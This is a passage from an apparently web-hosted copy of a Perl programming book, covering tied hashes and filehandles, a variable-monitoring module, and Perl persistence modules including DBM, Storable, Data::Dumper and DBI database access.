$obj->STORE ('a', 1)
delete $h{a}
$obj->DELETE('a')
exists $h{a}
$obj->EXISTS('a')
keys (%h),values(%h)
each (%h)
$lk = $obj->FIRSTKEY ();
do {
   $val = $obj->FETCH{$lk};
} while ($lk = $obj->NEXTKEY($lk));
%h = ()
$obj->CLEAR()
%h = (a=> 1)
$obj->CLEAR()
$obj->STORE('a',1)
untie %h
$obj->DESTROY()

FIRSTKEY and NEXTKEY are expected to return the next key in the sequence. This suffices if keys is invoked by the calling code; but if values or each is called, it calls FETCH for each key.

The most common (and natural-looking) use of tie is as a frontend for DBM files, which, as we mentioned earlier, are disk-based hash tables. Perl comes enabled with various flavors of DBM support. The following example uses the SDBM module, which comes with the standard Perl distribution:

use Fcntl;
use SDBM_File;
tie (%h, 'SDBM_File', 'foo.dbm', O_RDWR|O_CREAT, 0640)
     || die $!;                    # Open dbm file
$h{a} = 10;                        # Write to file transparently
while (($k, $v) = each %h) {       # Iterate over all keys in file
    print "$k,$v\n"
}
untie %h;                          # Flush and close the dbm file

Perl old-timers may recognize the similarity to the dbm_open function. tie just happens to be a more general facility.

Tied hashes have the same problem outlined in the last section: You cannot store references unless you explicitly serialize the structures referred to into one stream (from which you can recreate the data structure later). The MLDBM module, which we will explore further in Chapter 10, attempts to tie multilevel hashes to a DBM file.

Two other modules in the standard Perl distribution use tie internally. Config makes all information known to the build environment (that is, to configure) as a hash (%Config) in the caller's namespace, like this:

use Config;
while (($k, $v) = each %Config) {
    print "$k => $v \n";
}

Env is another standard library that uses tie to make environment variables appear as ordinary variables. We saw a non-tie variant of Env in the section "Importing Symbols" in Chapter 6, Modules.

Previous: 9.2 Tying Arrays | Advanced Perl Programming | Next: 9.4 Tying Filehandles
9.2 Tying Arrays | Book Index | 9.4 Tying Filehandles


[Chapter 9] 9.4 Tying Filehandles

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

9.4 Tying Filehandles

Tied filehandles call a user-defined object whenever you read from or write to a filehandle, as shown in Table 9.4. Note that the tie statement takes a typeglob, not a bareword.

Table 9.4: tie and Filehandles

When you say:

Perl translates it to:

tie *FH, 'Foo', 'a','b'
$obj = Foo->TIEHANDLE('a','b');
<FH>
$obj->READLINE();
read (FH, $buf, $len, $offset)
sysread (FH, $buf, $len, $offset)
$obj->READ($buf, $len, $offset)
getc(FH)
$obj->GETC()
print FH "I do"; #No comma after FH
$obj->PRINT("I do");
untie *FH;
$obj->DESTROY();

This method can be used to simulate a file or process with a test driver or to monitor access to a filehandle for silently logging a conversation (like the tee(1) command). Tk, which we will study in detail in Chapter 14, User Interfaces with Tk, supports ties to let you redirect I/O to its text widget. We will look at a small example of this feature when we study that widget.

Previous: 9.3 Tying Hashes | Advanced Perl Programming | Next: 9.5 Example: Monitoring Variables
9.3 Tying Hashes | Book Index | 9.5 Example: Monitoring Variables


[Chapter 9] 9.5 Example: Monitoring Variables

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

9.5 Example: Monitoring Variables

tie makes it really convenient to monitor a variable. In this section, we will develop a module called Monitor.pm that prints out a message on STDERR whenever a variable of your choice is accessed. [2]

[2] This is a lightweight version of a CPAN module called Tie::Watch, written by Stephen Lidie. Tie::Watch is used to invoke user-defined callbacks when certain variables are accessed.

use Monitor;
monitor(\$x, 'x');
monitor(\%y, 'y');

Whenever $x or %y is changed, this module prints out something like this on STDERR:

Wrote   : $x ... 10
Read    : $x ... 10
Died    : $x
Wrote   : $y{a} ... 1
Cleared : %y

This module is useful while debugging, where it is not clear at what point a certain variable is changing, especially when it changes indirectly through a reference. This module can be enhanced to support watch expressions such as print 'ahhh' when $array[5] > 10. Given Perl's support for eval, this is a reasonably simple task.

monitor takes a variable by reference and a name to be used when it prints out its messages. The first parameter is used to do a tie on the variable. tie has the unfortunate property that it hides the original value held by the variable. (The value is restored upon untie.) Clearly, we don't want Heisenberg's Uncertainty Principle to creep in here - our act of monitoring should not affect the user's view of that variable. For this reason, we store away the original value as an attribute of the tied object and have FETCH and STORE use this copy. Finally, when we are not interested in the variable any more, we use unmonitor, which calls untie internally.

Monitor, shown in Example 9.3, delegates responsibility to a nested module dedicated to each type of value (scalar, array, hash). The tie constructors in these modules return a blessed anonymous array (the tied object), which stores the name supplied by the user (the second parameter of monitor) and the current value of the variable.

Example 9.3: Monitor.pm

#----------------------------------------------------------------------
package Monitor;
require Exporter;
@ISA = ("Exporter");
@EXPORT = qw(monitor unmonitor);
use strict;

sub monitor {
   my ($r_var, $name) = @_;
   my ($type) = ref($r_var);
   if ($type =~ /SCALAR/) {
       return tie $$r_var, 'Monitor::Scalar', $r_var, $name;
   } elsif ($type =~ /ARRAY/) {
       return tie @$r_var, 'Monitor::Array', $r_var, $name;
   } elsif ($type =~ /HASH/) {
       return tie %$r_var, 'Monitor::Hash', $r_var, $name;
   } else {
       print STDERR "require ref. to scalar, array or hash" unless $type;
   }
}
sub unmonitor {
   my ($r_var) = @_;
   my ($type) = ref($r_var);
   my $obj;
   if ($type =~ /SCALAR/) {
       Monitor::Scalar->unmonitor($r_var);
   } elsif ($type =~ /ARRAY/) {
       Monitor::Array->unmonitor($r_var);
   } elsif ($type =~ /HASH/) {
       Monitor::Hash->unmonitor($r_var);
   } else {
       print STDERR "require ref. to scalar, array or hash" unless $type;
   }
}
#------------------------------------------------------------------------
package Monitor::Scalar;

sub TIESCALAR {
   my ($pkg, $rval, $name) = @_;
   my $obj = [$name, $$rval];
   bless $obj, $pkg;
   return $obj;
}

sub FETCH {
   my ($obj) = @_;
   my $val = $obj->[1];
   print STDERR 'Read    $', $obj->[0], " ... $val \n";
   return $val;
}
sub STORE {
   my ($obj, $val) = @_;
   print STDERR 'Wrote   $', $obj->[0], " ... $val \n";
   $obj->[1] = $val;
   return $val;
}

sub unmonitor {
   my ($pkg, $r_var) = @_;
   my $val;
   {
      my $obj = tied $$r_var;
      $val = $obj->[1];
      $obj->[0] = "_UNMONITORED_";
   }
   untie $$r_var;
   $$r_var = $val;
}

sub DESTROY {
   my ($obj) = @_;
   if ($obj->[0] ne '_UNMONITORED_') {
      print STDERR 'Died    $', $obj->[0];
   }
}
#------------------------------------------------------------------------
package Monitor::Array;

sub TIEARRAY {
   my ($pkg, $rarray, $name) = @_;
   my $obj = [$name, [@$rarray]];
   bless $obj, $pkg;
   return $obj;
}

sub FETCH {
   my ($obj, $index) = @_;
   my $val = $obj->[1]->[$index];
   print STDERR 'Read    $', $obj->[0], "[$index] ... $val\n";
   return $val;
}

sub STORE {
   my ($obj, $index, $val) = @_;
   print STDERR 'Wrote   $', $obj->[0], "[$index] ... $val\n";
   $obj->[1]->[$index] = $val;
   return $val;
}

sub DESTROY {
   my ($obj) = @_;
   if ($obj->[0] ne '_UNMONITORED_') {
      print STDERR 'Died    %', $obj->[0];
   }
}

sub unmonitor {
   my ($pkg, $r_var) = @_;
   my $r_array;
   {
      my $obj = tied @$r_var;
      $r_array = $obj->[1];
      $obj->[0] = "_UNMONITORED_";
   }
   untie @$r_var;
   @$r_var = @$r_array;
}
#------------------------------------------------------------------------
package Monitor::Hash;
sub TIEHASH {
   my ($pkg, $rhash, $name) = @_;
   my $obj = [$name, {%$rhash}];
   return (bless $obj, $pkg);
}

sub CLEAR {
   my ($obj) = @_;
   print STDERR 'Cleared %', $obj->[0], "\n";
}

sub FETCH {
   my ($obj, $index) = @_;
   my $val = $obj->[1]->{$index};
   print STDERR 'Read    $', $obj->[0], "{$index} ... $val\n";
   return $val;
}

sub STORE {
   my ($obj, $index, $val) = @_;
   print STDERR 'Wrote   $', $obj->[0], "{$index} ... $val\n";
   $obj->[1]->{$index} = $val;
   return $val;
}

sub DESTROY {
   my ($obj) = @_;
   if ($obj->[0] ne '_UNMONITORED_') {
      print STDERR 'Died    %', $obj->[0];
   }
}
sub unmonitor {
   my ($pkg, $r_var) = @_;
   my $r_hash;
   {
      my $obj = tied %$r_var;
      $r_hash = $obj->[1];
      $obj->[0] = "_UNMONITORED_";
   }
   untie %$r_var;
   %$r_var = %$r_hash;
}
1;

unmonitor is slightly tricky. We want to do an untie, but Perl restores the variable's value to that held by it just before tie was invoked. Clearly, this is undesirable. We want this operation to go on without the variable's user being affected in any way. Since we have the variable's current value as an attribute of the tied object, we can attempt to restore the value after the untie. Unfortunately, the following code doesn't quite work:

# For a tied scalar
my $obj = tied $$r_var;         # Get the object tied to the variable
$latest_value = $obj->[1];      # Extract the latest value
untie $$r_var;                  # untie
$$r_var = $latest_value;        # Restore the variable to the latest
                                # value

Perl complains, "Can't untie: 1 inner references still exist ..." if the -w flag is turned on. The problem is that the local variable $obj bumps up the reference count of the tied object, so an untie is not able to DESTROY the tied object. The solution is fairly straightforward: extract the value in an inner block and let $obj go out of scope, like this:

my $latest_value;
{
    my $obj = tied $$r_var;
    $latest_value = $obj->[1]; # Extract the latest value.
                               # Note that $latest_value is defined
                               # outside this inner block
}
# $obj is no longer in scope, so we can peacefully untie.
untie $$r_var;
$$r_var = $latest_value;

Previous: 9.4 Tying Filehandles | Advanced Perl Programming | Next: 9.6 Comparisons with Other Languages
9.4 Tying Filehandles | Book Index | 9.6 Comparisons with Other Languages


[Chapter 9] 9.6 Comparisons with Other Languages

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

9.6 Comparisons with Other Languages

We have used the tie facility in two ways. One is to give an existing package an easy frontend (as Perl does for DBM files); another is to monitor an existing variable. Let us examine what the other languages have to offer in these contexts.

9.6.1 Tcl

Tcl provides a command called trace to trap read and write accesses to scalars and associative arrays. (Scalars and lists are interchangeable, so there's no separate facility for the latter.) The Tk toolkit puts tracing to good use, as we shall soon see in Section 14.1, "Introduction to GUIs, Tk, and Perl/Tk". trace doesn't occlude the previous value, so writing a monitoring package is simpler.

Tcl's C API allows you to create traces much more easily than is possible with Perl. (Actually, this ease of use factor is true of the rest of the Tcl API also, as we shall see in Chapter 20, Perl Internals.)

While an existing Tcl package can use this facility to provide an easy frontend for a package, I'm not aware of any that take advantage of it, as Perl does for DBM files.

9.6.2 Python

Python allows you to write special functions per class called __getattr__ and __setattr __ that allow you to trap accesses to member attributes (or simulate new attributes). Similarly, you can make a class simulate an array by providing special methods called __getitem__ and __setitem__. There are 40 such methods to overload all kinds of behavior.

9.6.3 C++

C++ does not allow dynamic traces to be put on a variable. On the other hand, it does provide an extensive set of operators and operator-overloading syntactic structures to allow you to substitute an object where fundamental data types or other objects are used.

Commercial tools and libraries such as Purify are capable of setting a dynamic trace on any region of memory. They also provide a C API to write your own callbacks on such an event.

9.6.4 Java

Java does not allow you to arbitrarily trap accesses. Some commercial transaction- processing systems go to the extent of looking at the byte-code to recognize accesses to member attributes and insert traces where necessary. This allows them to make any object transactional without the explicit cooperation of the object. This approach is clearly not for the faint of heart!

Java does not have any way to implement the other aspect either: making a class appear as an ordinary variable.

Previous: 9.5 Example: Monitoring Variables | Advanced Perl Programming | Next: 10. Persistence
9.5 Example: Monitoring Variables | Book Index | 10. Persistence


[Chapter 10] Persistence

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 9.6 Comparisons with Other Languages Chapter 10 Next: 10.2 Streamed Data

10. Persistence

Contents:
Persistence Issues
Streamed Data
Record-Oriented Approach
Relational Databases
Resources

There must be at least 500,000,000 rats in the United States. Of course, I'm speaking only from memory.

- Edgar Wilson Nye

It would be an ideal world indeed if we never had to worry about fatal bugs or power failures.[1] For now, we have to contend with the fact that the attention span of a computer is only as long as its cord and that our data is too precious to be left within the confines of electronic memory. The ability of a system or module to make an application's data live longer than its application is called persistence.[2]

[1] Or end-users, as a letter to Byte magazine once complained!

[2] We'll use the term "system" to mean a C implementation, such as a DBM library or a database, and "module" to refer to a Perl module.

Considering that databases amount to a multi-billion-dollar industry and that DBI (Database Interface) and associated Perl modules are next only to CGI in CPAN's download statistics, it would not be a stretch to say that persistence is the most important of all technologies. In this chapter, we first study the myriad factors to be considered in making our data persistent; we then play with most of the freely available Perl persistence modules and hold them up against the checklist of factors, to clearly understand their strengths and weaknesses and what they provide and where they expect the developer to step in. In the next chapter, we will use some of these modules to create an object persistence framework to store an object transparently in files and databases.

10.1 Persistence Issues

Data ranges from simple comma-delimited records to complex self-referential structures. Users vary in level of paranoia and their ability (and need) to share persistent data. Application programmers attempt to juggle between solutions that are varying combinations of simple, robust, and efficient. The following list examines these differences in a slightly greater detail:

Serialization

Ordinary arrays and hashes can be written to a file using tabs, commas, and so on. Nested structures such as arrays of hashes or arrays of arrays have to be flattened, or serialized, before they can be dumped into a file. If you have ever packed the wiring for your holiday lights, you know that not only do you have to strive for a tight packing, you have to do it in a way that it can be easily and efficiently unscrambled the next time you need to use it. Further, data items can be typeglobs, can contain pointers to native C data structures, or can be references to other data items (making the structures cyclic or self-referential). In this chapter, we will study three modules that serialize data: FreezeThaw, Data::Dumper, and Storable.

Boundaries

Ordinary files, being byte streams, neither offer nor impose any kind of boundaries; you have to decide how you keep each data item distinct and recognizable on disk. DBM and ISAM systems impose a record-oriented structure. Relational databases provide record and column boundaries; if your data can be slotted into such a grid structure, you are in luck; otherwise, you have what is commonly called an "impedance mismatch." Newer technologies, such as object-relational and object-oriented databases, attempt to make this "restriction" or "failure" a nonissue.[3]

[3] E.F. Codd, considered the father of relational database theory, has constantly maintained that this mismatch is not an inherent part of the theory itself; it is an artifact of the RDBMS implementation technology.

Concurrency

Multiple applications or users may want concurrent access to persistent data stores. Some systems ignore this issue altogether; others offer different types of locking schemes.

Access privileges

Most persistence solutions leave it to the operating system to enforce file-level privileges (create, update, read, or delete). Databases offer a finer level of access restriction.

Random access and insertion

Databases make it easy to insert a new record or update a single attribute. With streams, you have no option but to serialize and rewrite the entire data into the file.

Queries

DBM and ISAM files allow you to selectively fetch records on the basis of the primary key, and databases allow you to selectively fetch records on the basis of any field. The more data you have, the less you can afford the luxury of examining each record to see whether it matches your criteria.

Transactions

Important commercial applications require "ACID" properties from persistence solutions [3]:

Atomicity : A series of actions that happen as one unit or not at all.

Consistency : The transaction must leave the system in a consistent state. Consistency is the responsibility of the application; a transaction monitor or a database knows nothing about specific application domains to judge what is consistent and what is not.

Isolation: Reads and writes from independent transactions must be isolated from each other; the result should be identical to what would result if the applications were forced to operate on the data in serial order, one at a time.

Durability : Once a transaction finishes, its results must be firmly committed to disk.

Currently, only databases provide this facility, and there are very few transactional file systems going around. The 2.0 release of the Berkeley DB library provides concurrency, transactions, and recovery, but the Perl wrappers have not been updated to take advantage of it, as of this writing.

Meta-data

If you have access to information that describes your data - meta-data - you can afford to hardcode less. Databases make meta-data explicitly available, while the other solutions simply translate from disk to in-memory Perl structures and let Perl provide the meta-information.

Machine independence

You may want to retrieve data from a file that has been created on a different type of machine. You have to contend with differences in integer and floating-point representation: size as well as byte order.

Portability and transparency

Finally, requirements change, and an application that accounts for some of the factors listed above may have to account for more factors - or worse, a different set of factors. There have been several attempts to provide a layer of uniformity between different solutions; for example, DBI and ODBC are two efforts that specify a consistent API across competing relational database implementations. We will be more ambitious in the next chapter: we will build ourselves a set of modules that hide the API differences between file and database storage. It is a fact that the more transparency you look for, the more of an impact there is on performance.

In the following pages we examine a variety of Perl modules that enable us to persistently store our data. We classify them by the boundary constraints: streamed (no boundaries), record-oriented, and grid-oriented (relational databases).

Previous: 9.6 Comparisons with Other Languages | Advanced Perl Programming | Next: 10.2 Streamed Data
9.6 Comparisons with Other Languages | Book Index | 10.2 Streamed Data


[Chapter 10] 10.2 Streamed Data

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

10.2 Streamed Data

We look at three modules, FreezeThaw, Data::Dumper, and Storable, in this section. All of them serialize Perl data structures to ASCII or binary strings; only Storable actually writes them to disk. The other two modules are important because they can be used in conjunction with other persistence mechanisms such as databases and DBM files. All of them correctly account for blessed object references and self-referential data structures, but trip up when it comes to typeglobs, tied variables, or scalars containing pointers to C data types (justifiably so). It is also impossible for these (or any) modules to understand implicit relationships. For example, if you use the ObjectTemplate approach described in Section 8.1, "Efficient Attribute Storage", the "object" is basically an array index, and so the disk will get to see only a bunch of meaningless array indices minus the data. Another subtle error occurs when you use references as hash indices and Perl converts them to strings (such as SCALAR(0xe3f434)). This is not a real reference, so if you store the hash table to a file and recreate it, the implicit reference to the original structure is not valid any more.

Moral of the story: simple nests of Perl structures are handled easily; in all other cases, it is your responsibility to translate your application data into a structure containing ordinary Perl elements before sending it to disk.

10.2.1 FreezeThaw

FreezeThaw, written by Ilya Zakharevich, is a pure Perl module (no C extensions) and encodes complex data structures into printable ASCII strings. It does not deal directly with files and leaves it to you to send the encoded string to a normal file, a DBM file, or a database. Here's an example of the module's use:

use FreezeThaw qw(freeze thaw); # Import freeze() and thaw()
# Create a complex data structure: a hash of arrays
$c = { 'even' => [2, 4, 6, 8],
       'odd'  => [1, 3, 5, 7]};
# Create sample object
$obj = bless {'foo' => 'bar'}, 'Example';
$msg = freeze($c, $obj);
open (F, "> test") || die;
syswrite (F, $msg, length($msg)); # can also use write() or print()

The freeze() function takes a list of scalars to be encoded and returns one string. Arrays and hashes must be passed by reference. The thaw method takes an encoded string and returns the same list of scalars:

($c, $obj) = thaw ($msg);

We will use FreezeThaw in Section 13.1, "Msg: Messaging Toolkit", to send data structures across a socket connection. Because the encoding is ASCII, we don't need to worry about machine-specific details such as byte order, or the length of integers and floating point numbers.

10.2.2 Data::Dumper

Data::Dumper, written by Gurusamy Sarathy, is similar in spirit to FreezeThaw, but takes a very different approach. It converts the list of scalars passed to its Dumper function into pretty-printed Perl code, which can be stored into a file and subsequently evaled. Consider

use Data::Dumper ;
# Create a complex data structure: a hash of arrays
$c = { 'even' => [2, 4,],
       'odd'  => [1, 3,]};
# Create sample object
$obj = bless {'foo' => 'bar'}, 'Example';
$msg = Dumper($c, $obj);
print $msg;

This prints

$VAR1 = {
          even => [
                    2,
                    4
                  ],
          odd => [
                   1,
                   3
                 ]
        };
$VAR2 = bless( {
                 foo => 'bar'
               }, 'Example' );

Data::Dumper assigns an arbitrary variable name to each scalar, which is not really useful if you want to eval it subsequently and recreate your original data. The module allows you to assign your own variable names by using the Dump method:

$a = 100;
@b = (2,3);
print Data::Dumper->Dump([$a, \@b], ["foo", "*bar"]);

This prints

$foo = 100;
@bar = (
         2,
         3
       );

Dump takes two parameters: a reference to a list of scalars to be dumped and a reference to a list of corresponding names. If a "*" precedes a name, Dump outputs the appropriate type of the variable. That is, instead of assigning to $b a reference to an anonymous array, it assigns a real list to @b. You can substitute Dumpx for Dump and take advantage of a C extension that implements the same functionality and gives you a speed increase of four to five times.

Data::Dumper gives you an opportunity to specify custom subroutines to serialize and deserialize data, which allows you to smooth the troublesome spots mentioned earlier. Please refer to the documentation for details.

10.2.3 Storable

Storable is a C extension module for serializing data directly to files and is the fastest of the three approaches. The store function takes a reference to a data structure (the root) and the name of a file. The retrieve method does the converse: given a filename, it returns the root:

use Storable;
$a = [100, 200, {'foo' => 'bar'}];
eval {
    store($a, 'test.dat');
};
print "Error writing to file: $@" if $@;
$a = retrieve('test.dat');

If you have more than one structure to stuff into a file, simply put all of them in an anonymous array and pass this array's reference to store.

You can pass an open filehandle to store_fd instead of giving a filename to store. The functions nstore and nstore_fd can be used for storing the data in "network" order, making the data machine-independent. When you use retrieve or retrieve_fd, the data is automatically converted back to the native machine format (while storing, the module stores a flag indicating whether it has stored it in a machine-independent format or not).

Previous: 10.1 Persistence Issues | Advanced Perl Programming | Next: 10.3 Record-Oriented Approach
10.1 Persistence Issues | Book Index | 10.3 Record-Oriented Approach


[Chapter 10] 10.3 Record-Oriented Approach

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

10.3 Record-Oriented Approach

In this section, we will study three modules that essentially depend on the DBM library. DBM is a disk-based hash table, originally written by Ken Thompson for the Seventh Edition Unix system. This library has since spawned many variants: SDBM (Simple DBM, a public-domain module bundled with Perl), NDBM (New DBM, which is packaged with some operating systems), and GDBM (from the Free Software Foundation). All these libraries can be accessed from equivalent Perl modules, which use Perl's tie facility to provide transparent access to the disk-based table. Performance and portability are the only criteria for selecting one of these systems. Be warned that the files produced by these approaches are not interchangeable.

10.3.1 DBM

We use SDBM here, because it is bundled with Perl. The SDBM_File module provides a wrapper over this extension:

use Fcntl;
use SDBM_File;
tie (%capital, 'SDBM_File', 'capitals.dat', O_RDWR|O_CREAT, 0666)
     || die $!;
$capital{USA}      = "Washington D.C.";
$capital{Colombia} = "Bogota";
untie %capital;

The tie statement associates the in-memory hash variable, %capital, with the disk-based hash file, capitals.dat. Read and write accesses to %capital are automatically translated to corresponding accesses to the file. untie breaks this association and flushes any pending changes to the disk. O_RDWR and O_CREAT, "constants" imported from Fcntl, specify that capitals.dat is to be opened for reading and writing, and to create it if it doesn't exist. The file's mode (bitmask for access privileges) is set to the 0644 in this case - the result of 0666 & ~022, where 022 is the umask.

The biggest problem with the DBM approaches mentioned earlier is that the value in a tied key-value pair has to be a string or number; if it is a reference, these modules do not dereference it automatically. So to associate a key with a complex data structure, you must serialize the structure using Data::Dumper or Freeze-Thaw, which is exactly what is done by MLDBM, described next.

10.3.2 MLDBM

Gurusamy Sarathy's MLDBM (multilevel DBM) stores complex values in a DBM file. It uses Data::Dumper to serialize any data structures, and uses a DBM module of your choice (SDBM_File is used by default) to send it to disk. This is how it is used:

use SDBM_File;
use MLDBM qw (SDBM_File);
use Fcntl;
tie (%h, 'MLDBM', 'bar', O_CREAT|O_RDWR, 0666) || die $!;
$sample   = {'burnt' => 'umber', 'brownian' => 'motion'} ;
$h{pairs} = $sample;   # Creating a disk-based hash of hashes
untie %h;

All parameters to tie following the string "MLDBM" are simply passed to the module specified in the use statement.

10.3.3 Berkeley DB

DB [5] - also referred to as Berkeley DB - is a public-domain C library of database access methods, including B+Tree, Extended Linear Hashing, and fixed/variable length records. The latest release also supports concurrent updates, transactions, and recovery. The corresponding Perl module, DB_File, puts a DBM wrapper around the B-tree and hashing implementations, and a tied array wrapper over the fixed/variable length record (also known as the recno access method).

The DBM usage is identical to the ones shown in the preceding sections. The tie statement is as follows:

use DB_File;
use Fcntl;    # For the constants O_RDWR and O_CREAT
tie (%h, 'DB_File', $file, O_RDWR|O_CREAT, 0666, $DB_BTREE);

The $DB_BTREE constant tells the library to use the btree format, allowing the key-value pairs to be stored in a sorted, balanced multiway tree; that is, the keys are stored in lexical order. You can also specify your custom sorting subroutine like this:

$DB_BTREE->{'compare'} = \&sort_ignorecase;
sub sort_ignorecase {
    my ($key1, $key2) = @_;
    $key1 =~ s/\s*//g;          # Get rid of white space
    $key2 =~ s/\s*//g;
    lc($key1) cmp lc($key2);    # Ignore case when comparing
}

Now, when you use keys, values, or each to retrieve data from the tied hash, you get them in your custom sorted order. An ordinary hash and the other DBM modules do not give you this facility.

You can use $DB_RECNO instead of $DB_BTREE, which uses TIEARRAY to treat a file as a collection of variable-length records:

use Fcntl;
use DB_File;
tie (@l, 'DB_File', 'foo.txt', O_RDWR|O_CREAT,0666, $DB_RECNO);
print $l[1];                    # Retrieve second line
$l[3] = 'Three musketeers';     # Modify fourth line
untie @l;

As was mentioned in Chapter 9, Tie, the current TIEARRAY implementation allows only array indexing; operators like push and splice are not supported. The DB_File module provides extra methods called push, pop, shift, unshift, and length, which can be used like this:

$db = tied @l;
$db->push($x);

Previous: 10.2 Streamed Data | Advanced Perl Programming | Next: 10.4 Relational Databases
10.2 Streamed Data | Book Index | 10.4 Relational Databases


[Chapter 10] 10.4 Relational Databases

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

10.4 Relational Databases

Relational databases have been around for a while, and while most commercial implementations have standardized on SQL, they differ significantly in the native C API. There have been several solutions to this. Microsoft popularized the ODBC (Open DataBase Connectivity) initiative, which has become the de facto standard in the (Wintel) PC world and provides a standard frontend to a large number of relational databases. PC Perl users using the ActiveWare port can access the ODBC library using the Win32::ODBC module.

Meanwhile in the Perl/Unix world, Tim Bunce and other developers, who had been writing mutually incompatible wrapper modules for different databases, came up with the DBI (Database Interface) specification and implementation to merge their efforts. DBI is similar in spirit and interface to the ODBC specification.

The ODBC specification has recently been accepted as the basis for the SQL CLI (Call-Level Interface) ISO standard, and it is expected that all database vendors will eventually provide a compliant-client library. When that becomes common-place, you can expect the DBI implementation to be rewritten to take advantage of this interface or go away completely.

In this section, we will take a look at both DBI and Win32::ODBC.

10.4.1 DBI (Database Interface)

Back in the days when modules and dynamic loading were not built into Perl, the database wrappers had to be linked in to create custom Perl executables called sybperl (for Sybase), oraperl (for Oracle), and so on. These libraries have since been rewritten to take advantage of Perl Version 5's features but have preserved the old API, which means that your scripts written for one database won't work for another. If you want portability, the DBI module is the only option. DBI makes calls to modules called DBDs (database drivers), which are specific to a database vendor and drive the native vendor API. If you use Oracle, for example, you can use oraperl for marginally better performance, or you can use the DBI and DBD::Oracle combination for portability. Oraperl and DBD::Oracle are both based on the same underlying code. The following web site, maintained by Alligator Descartes, is a wonderful repository of things DBI: http://www.symbolstone.org/technology/perl/DBI/.

Using DBI is a simple matter of connecting to the appropriate database and firing off SQL queries:[4]

[4] I'll assume that you are comfortable with SQL.

use DBI;
$dbname = 'empdb'; $user = 'sriram';
$password = 'foobar'; $dbd = 'Oracle';
$dbh = DBI->connect ($dbname, $user, $password, $dbd);
if (!$dbh) {
     print "Error connecting to database; $DBI::errstr\n";
}

connect returns a database handle, which represents the connection to a specific database. The $dbd parameter in this example tells it to load the DBD::Oracle module. This parameter can be followed by a reference to a hash of driver or connection-specific attributes. Some database vendors allow multiple connections to be created.

All DBI statements return undef on failure. The error code and errors strings can be obtained from $DBI::err and $DBI::errstr; these reflect the errors in the last executed DBI statement.

10.4.1.1 Basic SQL accesses

SQL statements can be executed like this (the equivalent of execute immediate in embedded SQL):

$dbh->do("delete from emptable where status != 'active'");
print "Error: $DBI::err .... $DBI::errstr" if $DBI::err;

If you make the same query or a similar-looking query a number of times, you force the system to parse it over and over again. To avoid this overhead, you can compile a parameterized query using prepare, and execute it many times.

The prepare method is given a query with parameter placeholders indicated by "?":

$sth = $dbh->prepare ('insert into emptable (name, age)
                                     values (?,    ?)');

You can execute this statement over and over again using the returned statement handle, each time supplying it an array of values corresponding to each placeholder. These values are sometimes referred to as binding parameters. In fact, do internally prepares and executes the query given to it.

The following piece of code reads employee names and ages from standard input and uses the statement handle created above to insert rows into the database:

while (defined($line = <>)) {
    chomp($line);

    # id, name, age separated by tab
    ($id, $name, $age) = split (/\t/, $line);
    $sth->execute($id, $name, $age);
    die "Error: $DBI::err .... $DBI::errstr" if $DBI::err;
}

If the field is nullable, you can indicate a null value by passing undef to execute.

10.4.1.2 Select

The following example shows how to retrieve information in bulk, using the SQL select statement:

$cur = $dbh->prepare('select name, age from emptable where age < 40');
$cur->execute();
die "Prepare error: $DBI::err .... $DBI::errstr" if $DBI::err;
while (($name, $age) = $cur->fetchrow) {
    print "Name:$name, Age: $age \n";
}
$cur->finish();

The prepare statement returns a statement handle as before. When executed, this handle is associated internally with an open database cursor and is used to fetch each row returned by the database. fetchrow returns the values corresponding to the fields specified in the select query. finish closes the cursor.

10.4.1.3 Query meta-data

Once a statement is prepared and executed, DBI stores the following pieces of information as attributes of the statement handle:

$DBI::rows

The number of rows affected or returned

$sth->{NUM_FIELDS}

The number of fields returned by a select

$sth->{NUM_PARAMS}

The number of parameters returned by any query

After a select query, the following attributes contain references to arrays of field-specific information:

$sth->{NAME}

Column names returned by the query

$sth->{NULLABLE}

Booleans indicating whether fields are nullable or not

$sth->{TYPE}

Field types

$sth->{PRECISION}

Floating-point precision of field

$sth->{SCALE}

Field lengths

Let us use what we have learned this far and create a Perl replacement for the interactive SQL frontends shipped with most relational databases (programs such as sqlplus and isql). Example 10.1 does this.

Example 10.1: sql.pl: Interactive SQL Frontend

use DBI;
$dbname = 'DEMO732'; $user = 'scott';
$password = 'tiger'; $dbd = 'Oracle';

$dbh = DBI->connect($dbname,$user,$password,$dbd) ||
       die "Error connecting $DBI::errstr\n";;

while(1) {
    print "SQL> ";                      # Prompt
    $stmt = <STDIN>;
    last unless defined($stmt);
    last if ($stmt =~ /^\s*exit/);
    chomp ($stmt);
    $stmt =~ s/;\s*$//;

    $sth = $dbh->prepare($stmt);
    if ($DBI::err) {
        print STDERR "$DBI::errstr\n";
        next;
    }
    $sth->execute() ;
    if ($DBI::err) {
        print STDERR "$DBI::errstr\n";
        next;
    }
    if ($stmt =~ /^\s*select/i) {
        my $rl_names = $sth->{NAME};         # ref. to array of col. names
        while (@results = $sth->fetchrow) {  # retrieve results
            if ($DBI::err) {
                print STDERR $DBI::errstr,"\n";
                last;
            }
            foreach $field_name (@$rl_names) {
                printf "%10s: %s\n", $field_name, shift @results;
            }
            print "\n";
        }
        $sth->finish;
    }
}
$dbh->commit;

The script prepares and executes all statements. If the statement is a select query, it fetches each row and prints out each value annotated by the corresponding column name. Note that fetchrow returns a reference to an array of values in a scalar context.

10.4.1.4 Transactions

When a database connection is created by using connect, DBI (or the database) automatically starts a transaction. To end a transaction, you can use the commit or rollback methods on the database handle; a new transaction is immediately started implicitly. Distributed transactions, as defined by the XA standard, are not supported.

10.4.1.5 Special functions

Driver-specific functions can be called by using the func method of the database handle. For example, the mSQL database driver provides an internal function called _ListFields, which returns information about columns in a table. It is invoked as follows:

$ref = $dbh->func($table, '_ListFields');

Clearly, using func is a nonportable solution.

10.4.1.6 What DBI does not provide

It is instructive to list common database tasks for which DBI does not currently provide an interface. This is not meant as a slight on the DBI/DBD implementors; it is just an indicator of the fact that databases vary enormously in every aspect not touched by the standards committees.

Meta-data

DBI provides a $dbh->tables() method to fetch a list of all accessible table names. However, there is no function to return the names of columns in a given table. Fortunately, there is a simple, portable solution. Because a select query returns meta-information, we can use a dummy query that we know will definitely not fetch any rows but will execute successfully:

    select * from $table where 1 = 0;

